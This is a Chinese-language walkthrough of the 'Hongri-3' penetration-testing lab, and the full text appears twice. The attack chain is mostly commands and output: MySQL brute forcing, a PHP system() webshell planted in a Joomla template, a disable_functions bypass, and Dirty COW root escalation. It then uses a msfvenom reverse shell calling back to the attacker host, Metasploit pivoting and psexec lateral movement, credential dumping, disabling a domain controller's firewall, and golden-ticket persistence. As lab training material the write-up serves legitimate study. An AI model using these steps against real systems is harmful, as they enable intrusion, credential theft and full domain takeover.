环境搭建下载地址漏洞信息注意不要关机靶场为黑盒不提供账号:密码。建议快照最保险的方式添加网卡要是VMnet2因为5台虚拟机默认都是这个网卡下载后的靶机只需对web-centos机器进行修改也可以不修改看自己选择什么方式下面有介绍其余的四台直接挂起就行web-centos配置有两种方式我使用的是第二种习惯NAT模式1、直接将kali设置为桥联模式靶机就不用修改了2、修改web-centos主机的网卡开机后修改修改后需要重新获取IP一开始的网络配置是这样的将它改为NATkali也是NAT模式重新获取网卡1 IP----sudo ifdown eth0 sudo ifup eth0查看web是否自动获取到IP----ifconfig |less配置好后挂起就行web-ubantu、win7、win2008、win2012如果网卡是VMnet2的话默认即可IP配置情况kali192.168.200.128web-centos192.168.200.129外网 192.168.93.100内网web-ubantu192.168.93.120win7192.168.93.30win2008192.168.93.20win2012192.168.93.10验证一下配置打开web-centos和web-ubantu访问出现这个页面说明配置成功信息收集首先进行同网段存活主机扫描----arp-scan -l使用nmap也可----nmap -sn 192.168.200.0/24使用nmap扫描端口情况----nmap -sV -Pn -p- -A 192.168.200.129-sV 进行 服务版本探测尝试识别开放端口上运行的服务及其版本信息。-Pn 跳过主机存活探测直接对目标进行扫描默认情况下 Nmap 会先 ping 确认目标是否在线-Pn 会忽略这一过程适用于目标可能屏蔽 ping 的情况。-p- 扫描全部端口包括 TCP 1-65535 端口如果不加这个Nmap 默认只扫描前 1000 个常用端口。-A 启用高级检测开启了三个端口22、80、3306使用dirsearch进行目录扫描----dirsearch -u 192.168.200.129打开这两个目录看一下第一个http://192.168.200.129/configuration.php~获取到路径和一组账号密码查看robots文件存在一个Administrator目录http://192.168.200.129/administrator/访问 80 端口发现是一个 joomla cms渗透测试连接mysql进行测试使用hydra爆破一下ssh和3306身份存在弱密码----hydra -C /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt mysql://192.168.200.129-C 指定字典 kali自带用户为root密码是123进行连接----mysql -u root -h 192.168.200.129 -p123 --skip-ssl-u指定用户-p指定密码--skip-ssl 禁用ssl查看变量情况----show variables like %secure%;secure_file_priv 是 MySQL 的一个系统变量用于限制文件导入导出操作的路径看到secure_file_priv 为空和红日靶场1的情况类似尝试修改一下----SET GLOBAL secure_file_priv ON; 只读修改失败与红日1不同的是值为空意味着可以从任意路径导入或导出文件可以尝试写入一句话木马来进行连接----select ?php system($_GET[cmd]); ? into outfile /var/www/html/qq.php;失败---提示MySQL 没有权限写入还能尝试从日志方向拿到shell类似与红日1查看日志配置变量----show variables like %general%;看到general_log OFF 说明MySQL 当前未启用通用查询日志General Query Log功能。修改变量的值SET GLOBAL general_log ON; 失败可以修改位置,但是改了也没什么用因为不能写入可以尝试一下修改日志写入位置----set global general_log_file/var/www/html/qq.php;再次查看发现位置被修改joomla ---CMS漏洞探测msf里面搜一下 joomla 相关利用模块有个扫描版本信息的先确认下版本msfconsolesearch joomlause auxiliary/scanner/http/joomla_versionset rhosts 192.168.200.129run看到版本为---3.9.12根据版本信息搜一下漏洞找到一个xss漏洞----searchsploit joomla 3.9.12没有什么用尝试登录后台在数据库中翻找一下是否有用户认证查找数据库看到有joomla的数据库进一步查看数据表选择数据库----USE joomla; 查看所有数据表----SHOW TABLES;查看该数据表中的字段----select column_name from information_schema.columns where table_nameam2zu_users and table_schemajoomla;查看ID-账号-密码----select id,name,username,password from am2zu_users;看到一个凭证----administrator:$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2接下来有两种方式进行1、破解该加密 2、直接更改用户密码joomla 的官方文档1、首先尝试进行破解使用hashcat进行touch aazz 创建一个文件将凭证写入hashcat aazz /usr/share/wordlists/rockyou.txt --username -m 3200 开始破解字典还可以使用fasttrack.txt最终失败2、重置密码----官方链接如何恢复或重置管理员密码 - Joomla! Documentation执行更改密码的命令指定用户----update am2zu_users set password d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 where usernameadministrator;看到用户密码被更改为----administrator:secret利用凭证登录成功后台文件上传一句话木马拿到网站shell首先来到目标地址下面选择一个PHP文件写入一句话木马注意在defined之前使用蚁剑进行连接----http://192.168.200.129/templates/beez3/index.php连接成功添加数据蚁剑绕过连接SSH连接后发现有命令无法执行利用蚁剑的插件绕过选择绕过 disable_functions选择 PHP7_UserFilter 进行绕过点击开始后就可以正常执行命令ip a 命令显示这是一台 192.168.93.120 的机器翻找比较敏感的文件和文件夹找到了 /tmp/mysql/test.txt里面有一组凭证使用ssh远程连接----ssh wwwuser192.168.153.118 -o HostKeyAlgorithmsssh-rsa临时添加 ssh-rsa 算法到可接受的主机密钥算法中获得了 192.168.200.129 的普通用户权限利用脏牛漏洞提权登录后发现权限过低先提权查看一下内核版本----uname -a看到是2.6.32的内核搜索一下漏洞----searchsploit linux 2.6.32-431熟悉脏牛漏洞CVE-2016-5195的应该对 2.6.32 这个版本很敏感因为这个版本在脏牛漏洞的影响范围内查找该漏洞的位置----locate 40839.c将其复制到当前文件夹---- cp /usr/share/exploitdb/exploits/linux/local/40839.c /home/kalikali开启web服务----python -m http.server 80 靶机下载该脚本----wget http://192.168.200.128:8888/40839.c编译执行gcc -pthread 40839.c -o shell -lcryptchmod x shell./shell执行后输入密码 ctrlc退出切换用户----su firefart提权成功ID为root内网渗透上线MSF利用msf生成反弹木马----msfvenom -p linux/x64/meterpreter/reverse_tcp lhost192.168.200.128 lport4444 -f elf shell.elf上传到目标靶机上两种方式1、利用webshell工具 2、开启web服务然后靶机下载下载成功添加权限----chmod x shell.elfkali开启监听msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.200.128set LPORT 4444run设置好后运行程序监听成功添加内网路由backgrounduse post/multi/manage/autoroute 是在 Metasploit 框架中用于 自动添加目标网络路由信息 的模块set subnet 192.168.93.0set session 1run[*] Running module against localhost.localdomain[*] Searching for subnets to autoroute.[] Route added to subnet 192.168.93.0/255.255.255.0 from hosts routing table.[] Route added to subnet 192.168.200.0/255.255.255.0 from hosts routing table.[*] Post module execution completed内网的信息收集使用MSF模块探测内网存在的主机主机必需是开机状态才能扫描出来use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.93.2-254run发现三台主机分别是192.168.93.10192.168.93.20192.168.93.30也可以进行内网smb存活扫描run autoroute -s 192.168.93.0/24backgrounduse auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.0/24set threads 10exploit可以看到存活和开放的端口横向攻击进行socks 代理配置use auxiliary/server/socks_proxyexploit -jsudo apt install proxychains修改 /etc/proxychains.conf 文件修改成 127.0.0.1 1080因为都开启了445端口所以尝试爆破 smb 服务proxychains hydra -l administrator -P /usr/share/seclists/Passwords/500-worst-passwords.txt smb://192.168.93.30或者用 Metasploituse auxiliary/scanner/smb/smb_loginset RHOSTS 192.168.93.30set SMBUser administratorset PASS_FILE /usr/share/seclists/Passwords/500-worst-passwords.txtrun爆破到凭据administrator:123qwe!ASD可以登陆smb服务利用smb横向use exploit/windows/smb/psexecset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.93.30set smbuser administratorset smbpass 123qwe!ASDrun成功利用smb上线到msf而且是system权限继续SMB登录192.168.90.20set rhost 192.168.93.20run成功拿到meterpreter这样就拿到了2008和win7的meterpreter在2008上的meterpreter执行load kiwicreds_all看到不一样的密码因为2008和win7的密码是一样的所以另一个密码就为域控主机密码建立 IPC 通道连接可以用于后续远程命令执行或信息枚举----net use \\192.168.93.10\ipc$ zxcASDqw123!! /user:Administrator关闭域控防火墙sc \\192.168.93.10 create unablefirewall binpath netsh advfirewall set allprofiles state offsc \\192.168.93.10 start unablefirewall利用和上面一样的方法登录域控use exploit/windows/smb/psexecset payload windows/x64/meterpreter/bind_tcpset rhosts 192.168.93.10set smbpass zxcASDqw123!!set smbdomain TESTset smbuser administratorrunrun拿下所有设备制作黄金票据维权load incognito 加载模块list_tokens -u 列出所有tokenimpersonate_token TEST\Administratorshellwhoami /all所需SIDS-1-5-21-1528753600-3951244198-520479113load kiwikiwi_cmd lsadump::dcsync /domain:test.org /user:krbtgt获得hash----Hash NTLM571bcade06358cf8ea77e8418e857355golden_ticket_create -d test.org -k 571bcade06358cf8ea77e8418e857355 -u shell -s S-1-5-21-1528753600-3951244198-520479113 -t /home/kali/shell-d 域名-k krbtgt账户的密码hash值-u 任意的用户名-t 将生成的票据保存在kali中文件名字以及后缀可以随意-s 用户SID制作成功出现绿色加号票据制作完成注入票据验证票据是否可用进入域成员的session打入票据load kiwikerberos_ticket_use /home/kali/shell 尝试将 Kerberos 票据注入到当前 session让当前 Meterpreter “伪装成” 对应用户shelldir \\WIN-8GA56TNV3MV\c$ 尝试直接访问域内共享磁盘 c$默认管理员共享如果票据注入成功并权限足够会成功。至此结束
靶机渗透 | 红日系列----红日-3
环境搭建下载地址漏洞信息注意不要关机靶场为黑盒不提供账号:密码。建议快照最保险的方式添加网卡要是VMnet2因为5台虚拟机默认都是这个网卡下载后的靶机只需对web-centos机器进行修改也可以不修改看自己选择什么方式下面有介绍其余的四台直接挂起就行web-centos配置有两种方式我使用的是第二种习惯NAT模式1、直接将kali设置为桥联模式靶机就不用修改了2、修改web-centos主机的网卡开机后修改修改后需要重新获取IP一开始的网络配置是这样的将它改为NATkali也是NAT模式重新获取网卡1 IP----sudo ifdown eth0 sudo ifup eth0查看web是否自动获取到IP----ifconfig |less配置好后挂起就行web-ubantu、win7、win2008、win2012如果网卡是VMnet2的话默认即可IP配置情况kali192.168.200.128web-centos192.168.200.129外网 192.168.93.100内网web-ubantu192.168.93.120win7192.168.93.30win2008192.168.93.20win2012192.168.93.10验证一下配置打开web-centos和web-ubantu访问出现这个页面说明配置成功信息收集首先进行同网段存活主机扫描----arp-scan -l使用nmap也可----nmap -sn 192.168.200.0/24使用nmap扫描端口情况----nmap -sV -Pn -p- -A 192.168.200.129-sV 进行 服务版本探测尝试识别开放端口上运行的服务及其版本信息。-Pn 跳过主机存活探测直接对目标进行扫描默认情况下 Nmap 会先 ping 确认目标是否在线-Pn 会忽略这一过程适用于目标可能屏蔽 ping 的情况。-p- 扫描全部端口包括 TCP 1-65535 端口如果不加这个Nmap 默认只扫描前 1000 个常用端口。-A 启用高级检测开启了三个端口22、80、3306使用dirsearch进行目录扫描----dirsearch -u 192.168.200.129打开这两个目录看一下第一个http://192.168.200.129/configuration.php~获取到路径和一组账号密码查看robots文件存在一个Administrator目录http://192.168.200.129/administrator/访问 80 端口发现是一个 joomla cms渗透测试连接mysql进行测试使用hydra爆破一下ssh和3306身份存在弱密码----hydra -C /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt mysql://192.168.200.129-C 指定字典 kali自带用户为root密码是123进行连接----mysql -u root -h 192.168.200.129 -p123 --skip-ssl-u指定用户-p指定密码--skip-ssl 禁用ssl查看变量情况----show variables like %secure%;secure_file_priv 是 MySQL 的一个系统变量用于限制文件导入导出操作的路径看到secure_file_priv 为空和红日靶场1的情况类似尝试修改一下----SET GLOBAL secure_file_priv ON; 只读修改失败与红日1不同的是值为空意味着可以从任意路径导入或导出文件可以尝试写入一句话木马来进行连接----select ?php system($_GET[cmd]); ? into outfile /var/www/html/qq.php;失败---提示MySQL 没有权限写入还能尝试从日志方向拿到shell类似与红日1查看日志配置变量----show variables like %general%;看到general_log OFF 说明MySQL 当前未启用通用查询日志General Query Log功能。修改变量的值SET GLOBAL general_log ON; 失败可以修改位置,但是改了也没什么用因为不能写入可以尝试一下修改日志写入位置----set global general_log_file/var/www/html/qq.php;再次查看发现位置被修改joomla ---CMS漏洞探测msf里面搜一下 joomla 相关利用模块有个扫描版本信息的先确认下版本msfconsolesearch joomlause auxiliary/scanner/http/joomla_versionset rhosts 192.168.200.129run看到版本为---3.9.12根据版本信息搜一下漏洞找到一个xss漏洞----searchsploit joomla 3.9.12没有什么用尝试登录后台在数据库中翻找一下是否有用户认证查找数据库看到有joomla的数据库进一步查看数据表选择数据库----USE joomla; 查看所有数据表----SHOW TABLES;查看该数据表中的字段----select column_name from information_schema.columns where table_nameam2zu_users and table_schemajoomla;查看ID-账号-密码----select id,name,username,password from am2zu_users;看到一个凭证----administrator:$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2接下来有两种方式进行1、破解该加密 2、直接更改用户密码joomla 的官方文档1、首先尝试进行破解使用hashcat进行touch aazz 创建一个文件将凭证写入hashcat aazz /usr/share/wordlists/rockyou.txt --username -m 3200 开始破解字典还可以使用fasttrack.txt最终失败2、重置密码----官方链接如何恢复或重置管理员密码 - Joomla! Documentation执行更改密码的命令指定用户----update am2zu_users set password d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 where usernameadministrator;看到用户密码被更改为----administrator:secret利用凭证登录成功后台文件上传一句话木马拿到网站shell首先来到目标地址下面选择一个PHP文件写入一句话木马注意在defined之前使用蚁剑进行连接----http://192.168.200.129/templates/beez3/index.php连接成功添加数据蚁剑绕过连接SSH连接后发现有命令无法执行利用蚁剑的插件绕过选择绕过 disable_functions选择 PHP7_UserFilter 进行绕过点击开始后就可以正常执行命令ip a 命令显示这是一台 192.168.93.120 的机器翻找比较敏感的文件和文件夹找到了 /tmp/mysql/test.txt里面有一组凭证使用ssh远程连接----ssh wwwuser192.168.153.118 -o HostKeyAlgorithmsssh-rsa临时添加 ssh-rsa 算法到可接受的主机密钥算法中获得了 192.168.200.129 的普通用户权限利用脏牛漏洞提权登录后发现权限过低先提权查看一下内核版本----uname -a看到是2.6.32的内核搜索一下漏洞----searchsploit linux 2.6.32-431熟悉脏牛漏洞CVE-2016-5195的应该对 2.6.32 这个版本很敏感因为这个版本在脏牛漏洞的影响范围内查找该漏洞的位置----locate 40839.c将其复制到当前文件夹---- cp /usr/share/exploitdb/exploits/linux/local/40839.c /home/kalikali开启web服务----python -m http.server 80 靶机下载该脚本----wget http://192.168.200.128:8888/40839.c编译执行gcc -pthread 40839.c -o shell -lcryptchmod x shell./shell执行后输入密码 ctrlc退出切换用户----su firefart提权成功ID为root内网渗透上线MSF利用msf生成反弹木马----msfvenom -p linux/x64/meterpreter/reverse_tcp lhost192.168.200.128 lport4444 -f elf shell.elf上传到目标靶机上两种方式1、利用webshell工具 2、开启web服务然后靶机下载下载成功添加权限----chmod x shell.elfkali开启监听msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.200.128set LPORT 4444run设置好后运行程序监听成功添加内网路由backgrounduse post/multi/manage/autoroute 是在 Metasploit 框架中用于 自动添加目标网络路由信息 的模块set subnet 192.168.93.0set session 1run[*] Running module against localhost.localdomain[*] Searching for subnets to autoroute.[] Route added to subnet 192.168.93.0/255.255.255.0 from hosts routing table.[] Route added to subnet 192.168.200.0/255.255.255.0 from hosts routing table.[*] Post module execution completed内网的信息收集使用MSF模块探测内网存在的主机主机必需是开机状态才能扫描出来use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.93.2-254run发现三台主机分别是192.168.93.10192.168.93.20192.168.93.30也可以进行内网smb存活扫描run autoroute -s 192.168.93.0/24backgrounduse auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.0/24set threads 10exploit可以看到存活和开放的端口横向攻击进行socks 代理配置use auxiliary/server/socks_proxyexploit -jsudo apt install proxychains修改 /etc/proxychains.conf 文件修改成 127.0.0.1 1080因为都开启了445端口所以尝试爆破 smb 服务proxychains hydra -l administrator -P /usr/share/seclists/Passwords/500-worst-passwords.txt smb://192.168.93.30或者用 Metasploituse auxiliary/scanner/smb/smb_loginset RHOSTS 192.168.93.30set SMBUser administratorset PASS_FILE /usr/share/seclists/Passwords/500-worst-passwords.txtrun爆破到凭据administrator:123qwe!ASD可以登陆smb服务利用smb横向use exploit/windows/smb/psexecset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.93.30set smbuser administratorset smbpass 123qwe!ASDrun成功利用smb上线到msf而且是system权限继续SMB登录192.168.90.20set rhost 192.168.93.20run成功拿到meterpreter这样就拿到了2008和win7的meterpreter在2008上的meterpreter执行load kiwicreds_all看到不一样的密码因为2008和win7的密码是一样的所以另一个密码就为域控主机密码建立 IPC 通道连接可以用于后续远程命令执行或信息枚举----net use \\192.168.93.10\ipc$ zxcASDqw123!! /user:Administrator关闭域控防火墙sc \\192.168.93.10 create unablefirewall binpath netsh advfirewall set allprofiles state offsc \\192.168.93.10 start unablefirewall利用和上面一样的方法登录域控use exploit/windows/smb/psexecset payload windows/x64/meterpreter/bind_tcpset rhosts 192.168.93.10set smbpass zxcASDqw123!!set smbdomain TESTset smbuser administratorrunrun拿下所有设备制作黄金票据维权load incognito 加载模块list_tokens -u 列出所有tokenimpersonate_token TEST\Administratorshellwhoami /all所需SIDS-1-5-21-1528753600-3951244198-520479113load kiwikiwi_cmd lsadump::dcsync /domain:test.org /user:krbtgt获得hash----Hash NTLM571bcade06358cf8ea77e8418e857355golden_ticket_create -d test.org -k 571bcade06358cf8ea77e8418e857355 -u shell -s S-1-5-21-1528753600-3951244198-520479113 -t /home/kali/shell-d 域名-k krbtgt账户的密码hash值-u 任意的用户名-t 将生成的票据保存在kali中文件名字以及后缀可以随意-s 用户SID制作成功出现绿色加号票据制作完成注入票据验证票据是否可用进入域成员的session打入票据load kiwikerberos_ticket_use /home/kali/shell 尝试将 Kerberos 票据注入到当前 session让当前 Meterpreter “伪装成” 对应用户shelldir \\WIN-8GA56TNV3MV\c$ 尝试直接访问域内共享磁盘 c$默认管理员共享如果票据注入成功并权限足够会成功。至此结束